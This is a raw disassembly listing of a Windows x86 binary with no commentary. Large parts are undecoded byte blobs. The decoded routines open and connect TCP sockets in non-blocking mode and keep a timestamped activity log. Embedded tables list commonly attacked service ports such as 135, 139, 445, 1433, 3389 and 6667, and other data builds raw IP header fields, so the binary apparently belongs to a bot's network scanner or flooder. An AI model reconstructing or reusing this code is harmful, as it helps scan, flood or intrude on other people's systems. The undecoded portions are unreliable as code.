		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022FAFh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BA6415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 6EE89000h, 2B0229BBh
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1901Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB988h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D90C68h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	7068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA24h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9E4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 69C55DE8h,	89669071h, 0FFFF5E85h, 60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA4815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA7C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C94h, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 90006A14h, 2FAD2FE8h, 0EC8B5502h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA6415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E84h, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9C4h, 75FFF883h, 7815FF0Eh
		dd 50004CB9h, 437E3468h, 8D1BEB00h, 0FF500C45h,	4CBA2415h
		dd 0FFF88300h, 15FF2075h, 4CB978h, 7DF06850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0E415FF00h, 66004CB9h, 8DDE4589h, 0E8500C45h
		dd 7169BF74h, 0B0358B90h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DC468FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1903Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB988h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D90C68ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB7068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED70h, 0E415FF45h
		dd 66004CB9h, 4CED72A3h, 0AC458D00h, 5C76650h, 4CED74h
		dd 89660001h, 4CED763Dh, 7805C600h, 80004CEDh, 0ED7905C6h
		dd 6611004Ch, 0ED7A3D89h, 15FF004Ch, 4CBA24h, 4CED7CA3h
		dd 0E0458B00h, 4CED80A3h, 8C858D00h, 50000000h,	8A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9E415h, 86A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED84h, 0B9E415FFh, 68004Ch
		dd 66000004h, 4CED88A3h, 6D90E800h, 0F7990000h,	8C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED70h, 0FFF475FFh,	4CBA4815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0B673E8FCh, 2B900229h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 7C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D6068h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB97815h, 458D5000h, 0D468500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA2415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EB068FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 0A932E856h
		dd 5F90022Fh
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		call	near ptr 71AB155Ah
		nop
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB98C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9CC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		nop
		call	near ptr 71AB4122h
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h,	6AEC4D8Dh
		dd 26A5104h, 0A35053h, 0FF004CF2h, 4CB9C415h, 0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0E415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA6415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA7C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F204BF83h, 0C868004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0DC685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9E415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF1A0h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF1A0h, 685645h, 0C6000004h, 4CF1A905h, 5C60600h
		dd 4CF1A1h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9E4h
		dd 0A366286Ah, 4CF1A4h,	0B9E415FFh, 0D80004Ch, 4CF1A8h
		dd 901D39FFh, 66004CF1h, 4CF1A2A3h, 1D896600h, 4CF1A6h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB7068h, 2415FF00h,	0A3004CBAh
		dd 4CF1ACh, 6808458Bh, 4000h, 4CF1B0A3h, 0C11D8800h, 0FF004CF1h
		dd 4CB9E415h, 66535600h, 4CF1C2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9E015FFh
		dd 0B8A3004Ch, 0A0004CF1h, 4CF1C0h, 24087D8Bh, 6A500C0Fh
		dd 0F1C0A214h, 8B66004Ch, 1D89F045h, 4CF1BCh, 0C61D8966h
		dd 66004CF1h, 4CF1B6A3h, 0DC3D8900h, 88004CF1h,	4CF1E01Dh
		dd 0E105C600h, 6004CF1h, 0B9E415FFh, 0A366004Ch, 4CF1E2h
		dd 0F1B6A166h, 0C766004Ch, 4CF1C805h, 89000200h, 4CF1CC3Dh
		dd 0CAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9E415FFh, 0A366004Ch
		dd 4CF1B4h, 4CF1ACA1h, 0F1D8A300h, 5C6004Ch, 4CF1C1h, 0BC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1C105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9E4h, 0A3C0B70Fh, 4CF1BCh, 0A405FF66h
		dd 0FF004CF1h, 4CF1B805h, 0B6A16600h, 6A004CF1h, 0B4BE5905h
		dd 0BF004CF1h, 4CF1E4h,	0AA1D8966h, 66004CF1h, 0F1C41D89h
		dd 146A004Ch, 0A0BEA5F3h, 66004CF1h, 4CF1CAA3h,	90E85600h
		dd 6AFFFF4Eh, 0F1D86820h, 0A366004Ch, 4CF1AAh, 0FF4E7EE8h
		dd 10C483FFh, 0F1C4A366h, 106A004Ch, 4CF1C868h,	286A5300h
		dd 35FF56h, 0FF004CF2h,	4CBA4815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 0C6E890FFh, 2B0229AFh, 0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 901075FFh, 28A844E8h
		dd 0FDC2E902h, 5E5FFFFFh, 4CF204B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DBA0
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E720
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DBA0[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBB8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294D4
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DBA0


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EE4
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E720
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27F0000h
		mov	ebx, offset dword_4D3604
		mov	edi, 80h
		mov	esi, offset dword_4CF604


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF604
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D3604
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F44
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F30
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF604


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D3604
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F74
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF604


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D3604
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F58
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22FA088h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA64
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9E4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA24
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA68
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA7C


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FF4h, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	6DE89056h
		dd 68022F9Fh, 43DB98h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FC4h, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA7C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 9F02E890h, 646A022Fh, 0A36FE890h,	0FF330228h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9FC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08868h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 28A318E8h, 0A6A9002h, 0FF549DE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 437F9068h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA7C15h, 0F075FF00h, 0FF551DE8h, 0E85759FFh
		dd 22F9E40h
		db 90h
; ---------------------------------------------------------------------------


loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA64
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380F4
